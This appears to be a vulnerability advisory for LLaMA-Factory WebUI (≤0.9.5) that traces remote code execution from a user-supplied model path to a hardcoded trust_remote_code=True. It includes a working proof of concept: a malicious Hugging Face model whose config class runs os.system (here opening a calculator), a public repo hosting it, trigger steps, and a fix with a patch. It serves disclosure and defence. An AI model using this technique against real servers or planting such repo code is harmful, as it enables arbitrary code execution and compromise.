Hardcoded trust_remote_code leading to Remote Code Execution (RCE) via Model Path Injection in LLaMA-Factory WebUI <= 0.9.5
Vulnerability Discoverer: h3nrrrych4u
Affected Version: <= v0.9.5
CVSS 3.0 Score: 9.8 (Critical) - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Software: LLaMA-Factory
Vulnerability Files:
src/llamafactory/webui/chatter.pysrc/llamafactory/webui/runner.py
Summary:
LLaMA-Factory WebUI contains a remote code execution (RCE) vulnerability due to improper input validation in the "Model path" field (displayed as "Model path" or "模型路径" in the UI). The application allows users to specify an arbitrary Hugging Face model identifier or local path. Due to the hardcoded trust_remote_code setting during model initialization, an attacker can force the server to download and execute malicious Python code from a public Hugging Face Hub repository by simply providing a malicious model path. There has no checkbox or config file to turn off this feature and hence this affects both the Chat and Training interfaces.
Source The vulnerability originates from user input in the "Model path" field within the Web UI.
- File:
src/llamafactory/webui/chatter.py - Code:
The variable
# Lines 102-103 get = lambda elem_id: data[self.manager.get_elem_by_id(elem_id)] lang, model_name, model_path = get("top.lang"), get("top.model_name"), get("top.model_path")
model_pathis directly assigned the value fromtop.model_path, making it tainted data controlled by the user.
Propagation:
The tainted model_path propagates through the application logic to the model initialization parameters.
-
Construction of
argsDictionary:- File:
src/llamafactory/webui/chatter.py - Code (Lines 128-140):
args = dict( model_name_or_path=model_path, # <--- Tainted: Controlled by attacker cache_dir=user_config.get("cache_dir", None), # ... trust_remote_code=True, # <--- Critical: Hardcoded to True )
- The
argsdictionary is constructed using the taintedmodel_path. - Critically, the
trust_remote_codeparameter is hardcoded toTrue.
- File:
-
Passing to
ChatModel:- File:
src/llamafactory/webui/chatter.py - Code (Line 158):
super().__init__(args) # <--- Tainted args passed to parent class
- The
WebChatModelpasses the taintedargsto the parentChatModelclass.
- File:
-
Argument Parsing:
- File:
src/llamafactory/chat/chat_model.py - Code (Line 48):
# The args dictionary is converted into model_args model_args, data_args, finetuning_args, generating_args = get_infer_args(args)
- The
argsdictionary is converted intomodel_args. The propertymodel_args.model_name_or_pathretains the tainted value, andmodel_args.trust_remote_coderemainsTrue.
- File:
-
Engine Initialization:
- File:
src/llamafactory/chat/chat_model.py - Code (Line 53):
if model_args.infer_backend == EngineName.HF: from .hf_engine import HuggingfaceEngine # model_args (containing trust_remote_code=True) is passed to engine self.engine: BaseEngine = HuggingfaceEngine(model_args, data_args, finetuning_args, generating_args)
- The
model_argsobject is passed to theHuggingfaceEngine.
- File:
Sink:
The tainted path reaches the transformers library functions, which act as the sink. The trust_remote_code parameter is explicitly extracted from model_args and passed via the init_kwargs dictionary.
-
Helper Function (Argument Preparation):
src/llamafactory/model/loader.pyThe_get_init_kwargsfunction extractstrust_remote_codefrommodel_args.# Line 57 def _get_init_kwargs(model_args: "ModelArguments") -> dict[str, Any]: # ... return { "trust_remote_code": model_args.trust_remote_code, # <--- Critical: Value is True from WebUI "cache_dir": model_args.cache_dir, "revision": model_args.model_revision, "token": model_args.hf_hub_token, }
-
Sink 1 (Tokenizer Loading):
src/llamafactory/model/loader.pyTheinit_kwargsdictionary (containingtrust_remote_code=True) is unpacked intoAutoTokenizer.from_pretrained.# Line 72 def load_tokenizer(model_args: "ModelArguments") -> "TokenizerModule": # ... init_kwargs = _get_init_kwargs(model_args) # <--- init_kwargs gets trust_remote_code=True try: # Line 79 tokenizer = AutoTokenizer.from_pretrained( model_args.model_name_or_path, # <--- Tainted Path use_fast=model_args.use_fast_tokenizer, split_special_tokens=model_args.split_special_tokens, padding_side="right", **init_kwargs, # <--- Injection Point: Unpacks trust_remote_code=True )
-
Sink 2 (Model Loading):
src/llamafactory/model/loader.pySimilarly,init_kwargsis used inload_model.# Line 132 def load_model(...) -> "PreTrainedModel": # ... init_kwargs = _get_init_kwargs(model_args) # ... # Line 178 model = load_class.from_pretrained(**init_kwargs) # <--- Injection Point: Unpacks trust_remote_code=True
The combination of a user-controlled model_name_or_path and trust_remote_code=True is the root cause. The trust_remote_code=True parameter instructs the Hugging Face transformers library to download and execute custom Python code located in the model's repository.
An attacker can exploit this by:
- Creating a Hugging Face repository (or a local directory).
- Placing malicious Python code in the model configuration files.
- Entering the repository ID (e.g.,
attacker/malicious-model) into the "Model path" field of the LLaMA-Factory Web UI.
Upon loading the model, the server will fetch the malicious script and execute it with the privileges of the server process, resulting in Remote Code Execution.
-
Prepare Malicious Model:
- Create the following files in a directory:
config.json:{ "architectures": [ "PoCModel" ], "model_type": "poc_model", "auto_map": { "AutoConfig": "configuration_poc.PoCConfig", "AutoModel": "modeling_poc.PoCModel", "AutoModelForCausalLM": "modeling_poc.PoCModel" } }configuration_poc.py(The payload trigger):import os from transformers import PretrainedConfig class PoCConfig(PretrainedConfig): model_type = "poc_model" def __init__(self, **kwargs): super().__init__(**kwargs) # ======================================================== # [PoC Payload] Pop up Calculator # ======================================================== print("[PoC Verification]: Attempting to pop up Calculator...") try: if os.name == 'nt': os.system("calc") else: # Fallback for non-Windows (Mac/Linux) os.system("open -a Calculator || gnome-calculator || xcalc") print("[PoC Success] Calculator command executed.") except Exception as e: print(f"[PoC Failed] Error executing command: {e}")
modeling_poc.py(Note: Ensure this filename matchesauto_mapinconfig.json. The provided filemodel_poc.pyshould be renamed orconfig.jsonupdated):from transformers import PreTrainedModel from .configuration_poc import PoCConfig import torch.nn as nn class PoCModel(PreTrainedModel): config_class = PoCConfig def __init__(self, config): super().__init__(config) self.layer = nn.Linear(1, 1) # Arbitrary layer def forward(self, *args, **kwargs): return self.layer(args[0])
-
Create a public Hugging Face Hub repository and upload the files. In this PoC, a prepared HFHub repo https://huggingface.co/h3nrrryhk/llmfcty-poc/tree/main is used as the example.
-
Access WebUI:
- Open the LLaMA-Factory WebUI (e.g.,
http://localhost:7860). - Navigate to the Chat or Train tab.
- Open the LLaMA-Factory WebUI (e.g.,
-
To Remotely Exploit via Hugging Face: Inject Payload:
- Locate the "Model path" input field (usually the first input box).
- Enter the HuggingFace path to the malicious model directory:
(Or if using Hugging Face Hub:h3nrrryhk/llmfcty-pocattacker/rce-poc)
-
Trigger Execution:
- Click "Load Model" (in Chat tab) or "Start Training" (in Train tab).
-
Verify Exploit:
- Observe the server environment. If successful, the system Calculator application will launch, confirming arbitrary code execution.
To fix this vulnerability, the application should:
- Restrict Model Paths: Implement an allowlist of trusted model paths or repositories.
- Disable Trust Remote Code: Set
trust_remote_code=Falseby default and only allow it to be enabled via a secure configuration or flag, not hardcoded. - Input Validation: Sanitize the
model_name_or_pathinput to ensure it conforms to expected patterns (though this is less effective than an allowlist).
Patch Example:
# src/llamafactory/webui/chatter.py
# ... inside load_model ...
# Disable trust_remote_code unless explicitly authorized (e.g. via env var)
trust_remote_code = os.getenv("TRUST_REMOTE_CODE", "false").lower() == "true"
args = dict(
model_name_or_path=model_path,
# ...
trust_remote_code=trust_remote_code,
)
PoC Code Collection
config.json{ "architectures": [ "PoCModel" ], "model_type": "poc_model", "auto_map": { "AutoConfig": "configuration_poc.PoCConfig", "AutoModel": "modeling_poc.PoCModel", "AutoModelForCausalLM": "modeling_poc.PoCModel" } }configuration_poc.pymodel_poc.py